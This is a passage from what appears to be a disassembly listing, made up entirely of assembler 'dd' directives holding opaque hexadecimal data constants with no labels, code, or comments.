		dd 0A0CCCB94h, 9219DF4h, 0D804F2E0h, 0DD965000h, 0C0E1AB2h
		dd 8B4ECA92h, 4D2D0056h, 1F89D7DEh, 435D78C1h, 0F36C3168h
		dd 3A966E98h, 48579800h, 0D97AC1AEh, 0DA3B3AE7h, 0E3ED5105h
		dd 0B29F802Ch, 6D00139Fh, 2BA18E92h, 1E45077Bh,	5DACC9h
		dd 788AE024h, 0B73C69E6h, 4739005Fh, 0B915893Ah, 78DC4CC1h
		dd 951F6C05h, 6BF84086h, 0C502404Ah, 9809E0E8h,	20ACBA0Bh
		dd 99CF2900h
		dd 1E921465h, 0D600C881h, 87A7B570h, 7F7388C5h,	46B9D504h
		dd 84D0AEA0h, 1428A32h,	38857BB0h, 609E9522h, 18C957FBh
		dd 412F80CAh, 20162Ch, 0EF26DAC0h, 0D17FEAB3h, 6E7CD900h
		dd 0E41119D4h, 509A0073h, 0E944F855h, 8B1E5A58h, 78CF53EFh
		dd 0C42140C6h, 382311h,	3D48ABDCh, 2BF51998h, 0D9694700h
		dd 0EEC36FBDh, 0F4D6009Bh, 8A544E62h, 2258CC80h, 6FB3008Ch
		dd 49680565h, 0A6550075h, 0BC4F2C42h, 6202FD4Ah, 86F004AFh
		dd 0ABFC40AAh, 0F80090CEh, 44DF002Ch, 850CCC61h, 15FC48BDh
		dd 3663C500h, 0CF5F874Fh, 0FC400089h, 88587295h, 9100226Dh
		dd 7C503652h, 9467415h,	4A036C20h, 401B94A0h, 48007929h
		dd 0E8148597h, 1958449h, 0D5078276h, 0F89BF6C7h, 8000B7A3h
		dd 12CA8355h, 3C1AAA5Bh, 7D0234BAh, 71FE69A4h, 52A9D480h
		dd 0ED766C86h, 9F2C0DE6h, 0E583A4E1h, 8896D1F0h, 0EE4E0AA6h
		dd 0D2530019h, 0D65EE631h, 1B0BEDC5h, 95D39Dh, 26F78948h
		dd 57620390h, 0F1C721ACh, 700864B9h, 35007B97h,	0BE13442Bh
		dd 0B3C2A78h, 0AA58ECA6h, 9A016400h, 0BA00F1AFh, 0D1785EE0h
		dd 4854692Bh, 600010BEh, 0DB06AA2Dh, 46007790h,	0C5FDFEACh
		dd 12B4383h, 0C9673F78h, 0C44F2FD5h, 27001855h,	0EE37F0CFh
		dd 12B228E9h, 388203h, 862D35FFh, 6C00686Eh, 0D13015B8h
		dd 0E8729069h, 50027546h, 8DFC0A2h, 4979B448h, 8086C30Bh
		dd 0A32B6117h, 85C202E9h, 2DD545DAh, 0A0B46CC8h, 30FC700h
		dd 6371DB58h, 7ED00F05h, 1BEE0747h, 0F32250A0h,	2B74FA5Fh
		dd 69C0CB54h, 8D434800h, 0BAA6FDBFh, 0EF51131Ah, 91CB0C5Ch
		dd 0B33D46DEh, 6300F672h, 949FF11Eh, 42C596h, 7B994B87h
		dd 0D7B2537Ah, 9D07E400h, 5B9E8E22h, 2FC1003Ah,	16A65488h
		dd 0C513EDB3h, 8302E21Dh, 0C05B4A3Fh, 7924B4h, 599A9285h
		dd 19CC8706h, 0B7534109h, 0AFC501AEh, 7CCDED9Fh, 4A600831h
		dd 91091E2h, 7880D6A1h,	253D0EC2h, 0B383AD14h, 7A5000A7h
		dd 1FB0F2F9h, 0CFC1Bh, 0BDF6FCFAh, 4D9EA1A8h, 5CFFE700h
		dd 8B103A4h, 0C8720046h, 0CE37B9CCh, 0F37C0B28h, 0ECCDAD09h
		dd 1420022h, 0B35530h, 1F659AD4h, 0B04DBDE9h, 3820A300h
		dd 0CC847A08h, 0B7540011h, 13922AFFh, 630098B3h, 0C057A6B1h
		dd 7FEBA3Ch, 28613AF0h,	0B50B9B8Bh, 2560AE0Eh, 0B8F84FD4h
		dd 7452D200h, 385EA70h,	0A5BF0051h, 68F98984h, 50748CF1h
		dd 48131A00h, 0D7B49A47h, 71AE24BAh, 0C17E017Bh, 0E8EC8BE1h
		dd 0F7009324h, 0B48FF2B7h, 0F0AA8Ah, 0CA3C23Dh,	1864E754h
		dd 8040EB00h, 0E8E30F7Bh, 0EE7895h, 4584F008h, 0AC19607Eh
		dd 1C709400h, 0B0E13613h, 0C38672BDh, 4274A328h, 0C0E7BBD9h
		dd 781E4A9Ah, 0F100C775h, 24A56F60h, 0B5B0FAh, 0C3D1BE1Bh
		dd 70D8EB16h, 0A37A4701h, 3236D471h, 2F3542F0h,	0BC765EA7h
		dd 9838A83Bh, 9F000D7Fh, 1FFE2FD3h, 0C0C24771h,	52626478h
		dd 12073BC1h, 0CC5D10E0h, 0CBBBA0B0h, 9378031Eh, 636A7C29h
		dd 0E02374D0h, 0EBE18800h, 6F790204h, 4E333E95h, 0C028969Dh
		dd 7036826Ch, 0E4A0DD0Eh, 4F600FEEh, 3B6D6A68h,	0C01FEE2Bh
		dd 0FC575DC8h, 3505AD56h, 63E42205h, 0AE8DE830h, 0B9E8FAh
		dd 845F8EE6h, 436BAF9Bh, 2D5B5800h, 0B7142C0Ah,	367C00E1h
		dd 22478634h, 25907613h, 7A5D9600h, 0D4AB1E62h,	0EB3600BAh
		dd 590CBDBCh, 220329E1h, 0A030DC2Ch, 0B14C8087h, 53780705h
		dd 403BB7ADh, 12BAF423h, 0F07EE200h, 909683A9h,	97BF39D8h
		dd 0FB883300h, 0CF2C5BC4h, 67AAB10Eh, 0C5C62038h, 17B7B0h
		dd 0AFADE003h, 0B4A1DE08h, 697B8B00h, 5E0241CFh, 3D3CF6C1h
		dd 0B90085E5h, 0A25C47B8h, 5B131EB5h, 0B60E097Ah, 8B7560F1h
		dd 87E54Ch, 5A9AF6B1h, 3A854A19h, 0DDE42676h, 8F830200h
		dd 1A8A2F57h, 863100D8h, 0DA0C80A7h, 419887EEh,	13F4E8E1h
		dd 0BCF05B00h, 0D92BB48h, 61D90023h, 65E025BAh,	0F81F41B1h
		dd 0DC80DE66h, 53CAFAA9h, 1C3800C4h, 0F31EAD73h, 9D7AC90Fh
		dd 0B0EC7B8h, 0AE553A31h, 2594E391h, 80B80088h,	51DD5F63h
		dd 8C013B8Ah, 1E1D6226h, 60F436BFh, 0A09C04F7h,	0EF7C03DEh
		dd 5C048C80h, 0B3E4B5h,	0A114CF37h, 9C1DD467h, 0DA93E400h
		dd 6C6DB42Eh, 35440113h, 0BFC157A3h, 532730CEh,	0B8D6700h
		dd 90345143h, 3620D43Fh, 0D4041807h, 172CB04Dh,	0CB005BEFh
		dd 59274F4Eh, 0D1EDDBh,	0E5D454DCh, 8EBA198Ah, 0CA24E475h
		dd 3A001008h, 694C4371h, 8BEB0121h, 0A6EC3B7Ah,	0A45C81F6h
		dd 2A28F5CEh, 0FAF7ECh,	21AB23E7h, 0CC883207h, 471DDDFAh
		dd 803AFBFCh, 0B7D90B03h, 0CE9156h, 18C6A789h, 2464B468h
		dd 827EF20Bh, 6E6280A6h, 8B671h, 3E410A8Eh, 8C279D64h
		dd 98234724h, 66F00118h, 0E11A39C9h, 4E70DF80h,	0A927263h
		dd 8F24F703h, 9AFBD384h, 0C996C09Ah, 2BC800BDh,	0B16E5E5Ah
		dd 903F6457h, 0D79F0076h, 46684B1Ah, 0E061018Fh, 0E1BC2334h
		dd 70FD3C21h, 84B2B300h, 609473D2h, 0BAE83C07h,	0FB8E6403h
		dd 72B89616h, 6100BE48h, 27FD132Fh, 0FB795FAh, 0E57FC5B4h
		dd 0F4A89Fh, 0FD2D7966h, 7E0ACCE2h, 0A4A23Dh, 0B40448DBh
		dd 4A615129h, 0C1FD1F07h, 0CB9196Ch, 0A1673083h, 0EC3FD707h
		dd 86D03AB1h, 7115169Bh, 0BD901F6h, 0D096015Dh,	0AF408042h
		dd 0F0E36D32h, 0EDFC00F4h, 921BB848h, 3B006526h, 0FE6F4AEBh
		dd 0DD8566h, 0D4FDB4A6h, 576D6890h, 0E1C0B302h,	0E099367Eh
		dd 79AFEC4h, 639FA0E6h,	38FB76DEh, 820089FCh, 0EA3561E1h
		dd 0C0DCE76Ah, 5DD7A318h, 2224082Eh, 58004718h,	9639E4BAh
		dd 0FC8E3093h, 63AAB268h, 0AD874000h, 0E6D78661h, 0F5ECA6h
		dd 0A32162F6h, 700E01D2h, 58E7D030h, 3FEEDCEBh,	45807535h
		dd 4911933Ch, 0E30F82CBh, 0A21636D3h, 4020A1DFh, 4FDD50h
		dd 1F8789Eh, 6B2A2619h,	0DE07C0F0h, 1109D0E7h, 24804BD7h
		dd 3ADD42h, 0BAB05F69h,	57B3B1E8h, 805A483Ch, 0B621BF83h
		dd 0BA317F4h, 20A098C3h, 96C9718Fh, 2300440Fh, 51EC992Eh
		dd 800108C0h, 0A3E31CD7h, 6B7FF110h, 2E613981h,	0CCF4FE36h
		dd 0AB2CE278h, 63026433h, 60F8434Eh, 0C715250Eh, 80603412h
		dd 0DA9DD1A2h, 1424AF01h, 86B79199h, 9F205883h,	81D7D48Dh
		dd 6401B4B8h, 0F81CFC24h, 4EC06516h, 953E5FB5h,	4D5B0070h
		dd 98919743h, 6FECC702h, 1952DC00h, 0E62EFB54h,	0FD990196h
		dd 2B7AF2D7h, 51BDB7h, 7E56C6E8h, 3F8653A0h, 0FB9302B0h
		dd 2D9FE0C3h, 8700CEEEh, 0C199EDA3h, 2C5DC94Bh,	651941h
		dd 0D16A43B7h, 0ED0073AAh, 8411FB8Dh, 41E23Dh, 0CF018F81h
		dd 371EEA92h, 0BCF83E00h, 0E4D543B5h, 0EFBF0E2Ah, 420AB79h
		dd 0DBA4525Fh, 0C3016471h, 0FAD59D24h, 0E1FB80F5h, 0C76087C2h
		dd 0D18C01CFh, 7F853A57h, 39C08B1Dh, 0E8CB0015h, 608B6Ah
		dd 7407F706h, 0E98D4D7Fh, 939D270Ch, 2FA2070h, 0F8F21628h
		dd 20967C49h, 2B9D523h,	59EAA40Eh, 409CF0A0h, 3DF8B52Ah
		dd 6DA6E406h, 3008DF91h, 60200217h, 942648FBh, 0CD03F0BBh
		dd 0E1D05DAAh, 6022DA46h, 0E1B29A00h, 0D73D82D4h, 0AB77A40Eh
		dd 0FCCD8AD6h, 0E737E480h, 138CE1Eh, 3AFAC4E8h,	70F11667h
		dd 9D39860Bh, 40DCA4A1h, 0E040058Fh, 156BBC3Ch,	77AD008Fh
		dd 0E39D25F3h, 6A06EBF1h, 8E3479F7h, 180E7431h,	11018AB5h
		dd 6E388D40h, 87FEBA5Bh
		dd 8B464EB4h, 21E246h, 0D86EE5DFh, 0D5329D88h, 709FFB15h
		dd 2AC31888h, 1FF27F9h,	920BE581h, 0DC8C6038h, 337EACDBh
		dd 572FE8A0h, 7A806954h, 0F8995D28h, 0BA431018h, 41F51621h
		dd 0D39801E1h, 4990CB8h, 0B59F29E3h, 20D132D6h,	0B0E71F35h
		dd 78E9AC04h, 0E494E294h, 3E10BC3Ah, 57B0C29Dh,	2845E00Eh
		dd 6B9A034Ah, 5C5312C9h, 0F903758Bh, 5109A326h,	0BC110088h
		dd 0F48F5FE9h, 860E44EEh, 863F662Bh, 7020A3C8h,	0C25E09EBh
		dd 2420BD54h, 868D268Ah, 0A04D598h, 7ACFA412h, 0BFEA7381h
		dd 26AF2DC4h, 189B13h, 58DC3424h, 0E937AA16h, 902AD86Ah
		dd 2AE18CC0h, 30AD469Fh, 91BAD93Bh, 500B00E1h, 0E6E3C144h
		dd 830A3CB8h, 0C6975530h, 9DBC1102h, 4744CB3h, 3D22481Fh
		dd 2029623Ch, 5348C785h, 8169F000h, 6CC656D3h, 9390C0E2h
		dd 4BF14A18h, 85364Ch, 0F63E439Ah, 2888978Ch, 0E1DC838Bh
		dd 167BAC40h, 94AB559Fh, 0C8038E60h, 5D9FA588h,	84876B4Ah
		dd 0CFD5279Dh, 415B80BCh, 425EF48Dh, 0D205C036h, 91C47B5Fh
		dd 0DD1D0054h, 0ADA2680Bh, 0A6AD901h, 0AE7C94A4h, 48D47C40h
		dd 743F26B5h, 207C20ACh, 1600019Ah, 0EB0B48FCh,	7D5623Eh
		dd 2C6C730Dh, 0A8A4A967h, 0AD9C9031h, 0DC00AB2Bh, 533F7716h
		dd 3B89BBF7h, 808E2E3Ah, 0D0D97A96h, 45F18D3h, 0FEF4F941h
		dd 0A1E03189h, 5FD18005h, 7F00BB5Ch, 55C99E26h,	0C41B456h
		dd 0DB62CAAAh, 0F800BD29h, 1DC366FDh, 0F34D90h,	0E03860DDh
		dd 8A0D2982h, 0DC1E5D00h, 3127F41Ch, 4C9B059Fh,	407DAC57h
		dd 6909A084h, 0F2585DD6h, 0B36201ABh, 44A6EE70h, 8CD24020h
		dd 945B65Ch, 18E81D9Fh,	819CF340h, 32873EC8h, 0A0417602h
		dd 6BFDAEC4h, 0D63A005Fh, 3ECE49CCh, 0BF01C854h, 6381958Ah
		dd 834C994h, 0A5A00056h, 2AFB75CAh, 5CF04598h, 76F87A0Bh
		dd 9C4900FEh, 48FC44BCh, 51BCCC43h, 0AB3DA143h,	7630C93h
		dd 0C2605A43h, 90668C1Ah, 4E6EDC02h, 198B565Bh,	942A102Fh
		dd 8F910071h, 3F95DBEEh, 0FC30796Dh, 5DBA20B5h,	317D00B1h
		dd 35830257h, 0FC9C4920h, 0AACAFA02h, 0EA80C054h, 7B020D4Ch
		dd 23580969h, 9CF6E160h, 0F000030Ch, 8FF2C7C4h,	626FF3h
		dd 0B3E31EA4h, 95AF1BEAh, 8BECC90Ch, 7569CDh, 0C3F6A32Bh
		dd 9344D89h, 63E9DA05h,	0EEC08371h, 0E893B2F0h,	1BF901F2h
		dd 466CE6D4h, 2F1424A2h, 93E7B306h, 44592A5Ah, 75010A95h
		dd 5D2ECEBAh, 8C229EDFh, 50885300h, 0A7D055CAh,	6E0A7200h
		dd 86080CE2h, 41DE0223h, 60C5E9E0h, 96E454C5h, 0ACA44A60h
		dd 9E17D005h, 0F447E67Fh, 45D07E4Eh, 7B66Eh, 0F19F10FFh
		dd 318887Ch, 0FDC47800h, 7FCB609Dh, 0D7BCA0CCh,	0B50486B8h
		dd 0D5823DE1h, 0F8B08964h, 8907E71Ah, 49CD87AEh, 580DA2A0h
		dd 57BD2847h, 0DB1810B8h, 81360002h, 5626E050h,	1277305Ah
		dd 0E5282518h, 0D3F1D00h, 3890D357h, 50F30006h,	0B3525116h
		dd 1C7CEA43h, 78C9EE00h, 0CA82968Eh, 0B6BD0368h, 0FD34625Ah
		dd 403637A7h, 2BAB10D1h, 92C06501h, 0CF7949C1h,	0F0A474ECh
		dd 0EC8A00B7h, 35321997h, 25FAEDB1h, 0B055373Fh, 7C234860h
		dd 3E5B7DB8h, 0AF000FEBh, 4ED3B408h, 0A03301Dh,	0BF274B31h
		dd 7D380BD2h, 0F30CB6A4h, 40EEC548h, 1A3AE103h,	0E37FA79h
		dd 2308B690h, 6902E6C0h, 4F7966FEh, 0B1350330h,	0C6AE774h
		dd 0C7133859h, 15F8EF91h, 359196Fh, 0D8F369DDh,	33163DBAh
		dd 0A909AF4Bh, 0C100217Bh, 0FE38E0F3h, 203CDACh, 0F7BDC83Ah
		dd 90A663E5h, 0D90091EDh, 0FCDCFA9Eh, 152A4E4h,	48E26591h
		dd 8F462F7Fh, 0A0BFEB51h, 5A75C38Ah, 0F8EC3FB1h, 22F7700Ah
		dd 258F87B8h, 1150E694h, 7AA2710Eh, 6A7C40EAh, 74365281h
		dd 508C6065h, 741592FDh, 7A54FB00h, 3D5FFF09h, 14B70588h
		dd 40CB3273h, 44AFFDA8h, 5400B6DFh, 0B88B2A2Ch,	0BBC99h
		dd 0A3FCD04Ah, 0FACA8753h, 81123Ch, 802EB64Bh, 0F30309h
		dd 741C8E0Fh, 353AB2BDh, 0C900C6ECh, 36A0220Ch,	1403C59h
		dd 0B59826B6h, 810E3DFFh, 5FCCF426h, 0F1D43B0Fh, 32680072h
		dd 8AEE942Bh, 85242EFCh, 5800B629h, 0DB1E797Bh,	93ECEBD6h
		dd 8C960072h, 6EAB2EC8h, 84003EC2h, 35682FCFh, 336F6Ah
		dd 0F9F725EEh, 8E2B4166h, 201E7A00h, 11DFBA15h,	0C5CF3DFCh
		dd 6834A180h, 0CA4F5D41h, 2D8CEF00h, 8D54BD57h,	0E92C0035h
		dd 1B58862Eh, 0E200E3F1h, 935B6C11h, 8210ECh, 0D89A4232h
		dd 8E86A90Ah, 0C9FB4607h, 6F70D32Fh, 7A10392Bh,	8962003Bh
		dd 9E747177h, 0B703DFB5h, 9DD6846Ch, 0EA400044h, 621E2DCAh
		dd 0CC38D74Dh, 0C7110622h, 80D0A8h, 44D38B98h, 9B950A6h
		dd 805C023Dh, 9A400D4Ah, 0FC12A3F9h, 98E20087h,	0E7513E9Eh
		dd 5919C75Fh, 14C0287Fh, 5B4A20h, 80B469E8h, 0BEF93C9Ch
		dd 0C6385302h, 90543B0Ah, 1E8CDC0h, 3944808Bh, 173944Bh
		dd 0E0519A84h, 10F97150h, 0C79DCh, 1DA9065Dh, 0B682196h
		dd 4D07047Bh, 0E7458E1Ah, 4E157B50h, 291EF8FEh,	0C0B6B5h
		dd 0DAE34679h, 0DC00EBE0h, 6F7D0E7h, 40CE7Fh, 364E1ABDh
		dd 2168F697h, 0BA0B020Ch, 729AC9Dh, 0EB46C35h, 804020CEh
		dd 0CA001CD8h, 3251534Fh, 0E0FE664Bh, 0E3A90014h, 7170FD4h
		dd 1D001654h, 0E6EB9825h, 0A2AF15h, 0FBF90206h,	0E0DE8348h
		dd 60D9B600h, 72233146h, 0CA850017h, 0E7E8D11Dh, 5A071271h
		dd 0F1D71B26h, 0E6E99AA0h, 0B93A002Eh, 0C3D47601h, 620E2136h
		dd 818C1548h, 39F5D565h, 51EECCh, 2841FC57h, 637D02ABh
		dd 0C9E9AF00h, 23F27927h, 65070001h, 407EC6CDh,	32003D13h
		dd 0D719F310h, 161A2Eh,	6C9E652Fh, 204EA422h, 0C7299100h
		dd 0AD8C14D2h, 4C021FBAh, 1866A8h, 0BD38D19Ch, 2C0E4D06h
		dd 0A629A4h, 5E70484Ch,	91A02D2Fh, 7A3AC3D0h, 0B1D6261Bh
		dd 0E7154C00h, 3389F5Eh, 0F192393Ch, 0BA0ECE2h,	0AB014013h
		dd 0CFB465A1h, 0ECB0C19h, 0E91B3D71h, 54F986C0h, 8D63E838h
		dd 3A5008h, 2E3BC020h, 0C2BBBA7Ch, 3261200h, 37F1D199h
		dd 957600DEh, 82398734h, 1BE847D0h, 2A8E203h, 0B81E6A51h
		dd 60B14243h, 0B2A3C074h, 600027CAh, 0E18CD25Fh, 0E212D9h
		dd 222464BDh, 0CFFF4AA9h, 0A01D20C0h, 532E7D05h, 0CC822014h
		dd 21AE79Bh, 18922B98h,	40085E6Fh, 642809A0h, 0CE1A40DCh
		dd 605B5Eh, 0F88B53C4h,	3ACF0216h, 0EC59B403h, 0C1B177A5h
		dd 400C2D4Ah, 84762E02h, 103949A1h, 5B803361h, 0C52E0068h
		dd 7B88C1F8h, 18C366D8h, 26A31Dh, 0B5CE7C99h, 5C2CC97Eh
		dd 0B8A84B00h, 36428505h, 0D45A50F3h, 392E6535h, 12047E4Ch
		dd 30403D83h, 2EBD7823h, 9951F79h, 0C70F4037h, 480829DAh
		dd 3C6C6E3Eh, 0CFB98F63h, 83078FF5h, 0E0DB1509h, 28119B1Dh
		dd 0C2C8C8Bh, 0EC26CD1Fh, 7F10D151h, 7B060E12h,	298C0557h
		dd 9C42BD00h, 0D85FAFD6h, 748F0004h, 0AE47E218h, 443AD139h
		dd 0AB50830Fh, 2A87F42Dh, 20601461h, 51051F73h,	0A5E8A95Dh
		dd 5C01A412h, 3A4294EDh, 102FF07Ah, 5706B52h, 0DAC41FCBh
		dd 2B3045C0h, 0E3C100CAh, 5C40F9A9h, 359057C7h,	0FEE38083h
		dd 0D07B85E0h, 5639B006h, 0A81D54Eh, 6A6B65F9h,	858CA4Ch
		dd 6E018A6Fh, 331373Fh,	5E77A88Fh, 3FA490FEh, 4EC041Fh
		dd 64143309h, 14E8C610h, 0BAF45B66h, 3AB0447h, 0FF804523h
		dd 8EA78A8Bh, 0B8E004B0h
		dd 0E3835880h, 0F0B003Bh, 0C79AA1B6h, 5E017F98h, 317D7B2h
		dd 0F8434512h, 1113C383h, 11955C29h, 4D08BA82h,	0AB081C46h
		dd 0E31280B1h, 67F957Ah, 972710F7h, 42FF8023h, 402F3388h
		dd 34884A79h, 0FF050014h, 7991DC3h, 0F5023EAAh,	0B8AB4B3Dh
		dd 0E1A3C0FDh, 0C7F4A8h, 22E521C8h, 6836EFC4h, 85A9F03h
		dd 805F6F24h, 7B0E2A35h, 0A14F0006h, 5339B931h,	0BC3AA528h
		dd 6A8C0054h, 89CA9165h, 49E90004h, 0C05AD2D9h,	4F139E30h
		dd 0D60013E5h, 3E20C81h, 0B35300A6h, 4EF79767h,	0FC00BFA8h
		dd 463A2447h, 7A042676h, 0E0F4E54Dh, 0A0F63F9Ch, 59609580h
		dd 6CB038CBh, 1C43300h,	829BA14Bh, 1BDD0EB4h, 1D5EC6A6h
		dd 0B2994055h, 98D2BAD3h, 0DF97D707h, 0D729641h, 0C4E8804Fh
		dd 0F087AEh, 0E4946F14h, 887D9BB3h, 0CC31150Ch,	0BA48BDh
		dd 5DED6635h, 52430FC7h, 631DC101h, 3AA20D96h, 5B9CDB00h
		dd 0C2AE39h, 8A59D5D4h,	5A1045h, 0D6EB0205h, 34093927h
		dd 353C4100h, 966AE3F2h, 70321D4Bh, 0FE303C16h,	0A55ADAD8h
		dd 6A0314EAh, 0E94D55FAh, 288EC8h, 8CA8110Dh, 5488A744h
		dd 0E83DEE00h, 406F4B99h, 0FCC20016h, 1759791Bh, 0E000880Dh
		dd 0FA4CD843h, 0E48E6292h, 154B1CAFh, 0A870007h, 3457E530h
		dd 0F51D9F00h, 64F44751h, 7413004Bh, 7EAAA69h, 0B800DF04h
		dd 0D992F246h, 7631CCBh, 0D27583F7h, 3F898B58h,	8F654A80h
		dd 8400A05Dh, 0AD0F8562h, 1266ABC8h, 231834Eh, 6D18A894h
		dd 9256407Dh, 89430049h, 0FBDCA0B1h, 2800D37Ch,	2112B8AAh
		dd 0AD10Eh, 0BC2B4C25h,	7ED46D4h, 2DA18E00h, 79D5933Bh
		dd 0C7550001h, 91664583h, 0F5B0A541h, 5082CA12h, 0A870D000h
		dd 16A36B2Bh, 0F7D267h,	3AF782Dh, 1E003877h, 428F862h
		dd 5CDCF2CAh, 7400DF07h, 0CD2592EBh, 9B00A878h,	3B6C5C9Ch
		dd 394791DEh, 0C1B09751h, 3DA7FA11h, 80C2EE3Ah,	14373CF6h
		dd 89509Fh, 38C1CC9Ah, 1546307Dh, 4152AC00h, 0BB080F4Dh
		dd 3AC40017h, 0C62C40F5h, 0A700A4BAh, 125D23BCh, 5FA1C7h
		dd 19D2FE3Dh, 1AE50342h, 0A6108107h, 0CA40ABACh, 0FC147E7Fh
		dd 5306008Ah, 0CD86B92Ah, 0CC006005h, 198325A5h, 0D47EEEh
		dd 424D7877h, 4E1BEF22h, 80F8F600h, 0B9ED2E1Ah,	10F60Dh
		dd 64524663h, 844CD2E0h, 0D8FED400h, 8CDD781Fh,	0E1130762h
		dd 0AEC0B012h, 0CBB52060h, 53004F8Dh, 886FF689h, 65440Dh
		dd 98CDE755h, 15B1F9ABh, 677BEB01h, 6AB44217h, 0B2D08DC9h
		dd 5780008Ch, 4DD8F451h, 0DD00E61Fh, 0E80ED29Dh, 697C10h
		dd 0AF123E1Bh, 86ECCC92h, 0F7581D00h, 5A8572ACh, 9DACA4D8h
		dd 0D2C97FC0h, 4B71A00h, 0AEBD9B73h, 44A80007h,	4EF2B351h
		dd 8D61B0CFh, 986A7118h, 7A828F0h, 8BA53F75h, 7A08B09Dh
		dd 0E3797460h, 4F3A2660h, 7D9A33h, 9BDBDA2Ch, 0B1C3F5F1h
		dd 39140403h, 807F46EDh, 7755E5F9h, 78B80038h, 0ACBA8F47h
		dd 0D298DEC9h, 0DFA0DA1Ch, 2CD99900h, 0B0AD3h, 0E608214Bh
		dd 0EFB8687Dh, 93DB1A07h, 0D440BC1Bh, 575039h, 0A78E1E7Eh
		dd 0E945AFB4h, 80B61738h, 0B37A7BA5h, 7B1AA00Ch, 1EDAEA6Dh
		dd 80B9A3ABh, 5A7030B5h, 8200610Fh, 678E2947h, 0EC7C5D53h
		dd 0FBA60092h, 8A6D0822h, 5507499Ch, 0E2E1CC7Eh, 0CB6631F0h
		dd 0E733003Ch, 67869BC0h, 8C1E7C16h, 91C19211h,	938EBC70h
		dd 5C9AB1E4h, 0AB009709h, 0DC77349Dh, 3B046A0Dh, 5505BEB2h
		dd 0A0E37080h, 6EB8B8h,	53CE1184h, 501F8273h, 8A127B0Bh
		dd 0B67080B7h, 0EE31381Eh, 0D53000A3h, 0C8B17E22h, 30539BAh
		dd 0FBD3D697h, 25E17D80h, 9CE290h, 893B1444h, 0CF4AFE87h
		dd 210EA003h, 980ABA9Eh, 119173Eh, 3684C07Bh, 0DC80E80Fh
		dd 93EE244Dh, 1EC81E4Ch, 0DB00D2D8h, 0F8DACCBCh, 32BE0073h
		dd 0E542350Eh, 0D900762Dh, 7EC27C83h, 0ED0B21h,	0DDDB05ACh
		dd 0A6C43DF4h, 0E6395D01h, 3087ADE8h, 0AC22D8h,	7A6206DBh
		dd 9D11831Eh, 0EA2B500h, 434FC85h, 731D1FCEh, 9CD58013h
		dd 8DA16865h, 7EB6D300h, 44D495C6h, 8FFB0AD7h, 0EEB7CADh
		dd 0AC271216h, 19E9E22Ah, 59788840h, 0F547101Dh, 0B0CD0D07h
		dd 0B1807F14h, 39C0FF49h, 0C050E4B2h, 6A0203C1h, 32B62FA8h
		dd 0A98ABBB8h, 0B5B0D203h, 9019762Ah, 906C37h, 66C11448h
		dd 0BD98F227h, 700F0872h, 20635ED6h, 4EB9F175h,	0A7F70620h
		dd 604F8EA0h, 0A816DD00h, 7EF2E171h, 6E40C3C4h,	8100E225h
		dd 0D55B30FFh, 4CF6380h, 810AC64Bh, 7B18C255h, 783541DFh
		dd 0BD5020h, 0B2B005C5h, 0BE29D2AEh, 80408B3Bh,	87ED14D8h
		dd 0B15AB50h, 0F9A198FCh, 22BF1700h, 57076009h,	0F1FFA703h
		dd 0E7531341h, 2859D8h,	423D258Bh, 94FB8465h, 907F0A0Eh
		dd 0D256A010h, 1F05E339h, 1D0E91E4h, 0FB3F3E74h, 7A2D9381h
		dd 0E155A8FAh, 7576F4E9h, 97E88200h, 21026D89h,	9D8F001Dh
		dd 0E63DCE29h, 0F000CDD4h, 56C95336h, 3C1B33h, 2942603Bh
		dd 7B390E80h, 0A500B475h, 7A638670h, 15CF884h, 859BA461h
		dd 80E018B1h, 172BDFA8h, 25131Dh, 0F499D124h, 4B5460ACh
		dd 0B304DE0Eh, 7F4D426h, 0D54C378Ah, 5357AEF0h,	8B730023h
		dd 0EC5D6617h, 890F092Ch, 0C0C877FDh, 8D0AEA3Fh, 0B1DC00C6h
		dd 9462DB83h, 8F01089Dh, 349C9F6Fh, 0D0306D5Fh,	892400CEh
		dd 4FA986D0h, 0E602451Ch, 50CC164Ah, 0CD74C02Ah, 0BFDA00F2h
		dd 0BB3DB7FAh, 0CF7060A0h, 616C83Dh, 2EA4AAEFh,	0EC22005Eh
		dd 659AA019h, 0B0080E9h, 1F7614A1h, 3C73BBC3h, 3892FDFAh
		dd 0CD00026Fh, 0B840DC2Ch, 25017B66h, 0FB06CF37h, 23E86E09h
		dd 28D900B8h, 3AECD1C2h, 4B005583h, 0AFA43796h,	0EFC7E5Ch
		dd 9FE58E76h, 0A2DE4EC7h, 506010EAh, 68002D3Bh,	638ED709h
		dd 39F3EB58h, 2700AC81h, 0B41C5003h, 3077E151h,	64A25B01h
		dd 0E36BF9A9h, 0F0414EC0h, 0F27EEA0h, 35AF3B65h, 0A5EB3F82h
		dd 271A468h, 0AC16002h,	4155E2B9h, 0C031206Ch, 0EC382460h
		dd 90330091h, 0CD8FFE1Ch, 0A4A0A213h, 8E00669Dh, 0C15F83Bh
		dd 62715Dh, 1B8FEFC7h, 58BD67E2h, 76174902h, 4819F4CDh
		dd 983EBF0h, 0CB86160Dh, 76627C00h, 1940D489h, 2AF31314h
		dd 33440150h, 0D484AA0Bh, 137E4EA5h, 3ED1BC16h,	902A6400h
		dd 1F35EA50h, 0C771736Ch, 0EF2151A3h, 3864D280h, 0CF00037Eh
		dd 0D1A498AEh, 0C54F58Fh, 61CB1CE7h, 0B62B306h,	68A05590h
		dd 78BD6FCh, 36ACC6C8h,	4783F358h, 6503E800h, 0A03398CBh
		dd 0F4E60110h, 0C33AE9F8h, 5379ECFFh, 60D0B400h, 616D9DECh
		dd 0BBECA8h, 0CBC3FACh,	149C9652h, 4596F3Ah, 4F06FDF6h
		dd 44C65CC0h, 0C3D2E10Eh, 20C8B01Dh, 2DE40F3Ah,	0F6464518h
		dd 2B3E806Bh, 729D87B8h, 0F3F06F65h, 0F5CAD4h, 0F055E448h
		dd 0E0B688EAh, 31ECF703h, 0F1590A51h, 0C441408Ah, 4ACC87C9h
		dd 76BF00EAh, 0C67DDFE6h, 0A41C86C7h, 5D80D58Bh, 9B90341Bh
		dd 7600F62h, 0C0207A8Fh, 7C4E0449h, 76F86303h, 1C7927Eh
		dd 0BB5AA84h, 0D037C064h, 0D80E6BAFh, 204FE0A5h, 0E9C42DD7h
		dd 7E7F51h, 89B93448h, 57D06ABBh, 0AA526800h, 91E0B39Dh
		dd 6F1E00F6h, 1F25CCB5h, 0D3F238Bh, 0F279800Eh,	0A5B76628h
		dd 2A8402D7h, 3AC9EBE2h, 7CDB1843h, 183EB400h, 44336021h
		dd 26A000A5h, 3DCC2D10h, 0C501EFAAh, 309946ABh,	0C040E41Fh
		dd 0BD3286h, 0C6067AC9h
		dd 433B1DF2h, 1E365Ch, 0EBD52C57h, 981C8A5Fh, 9F45009Ch
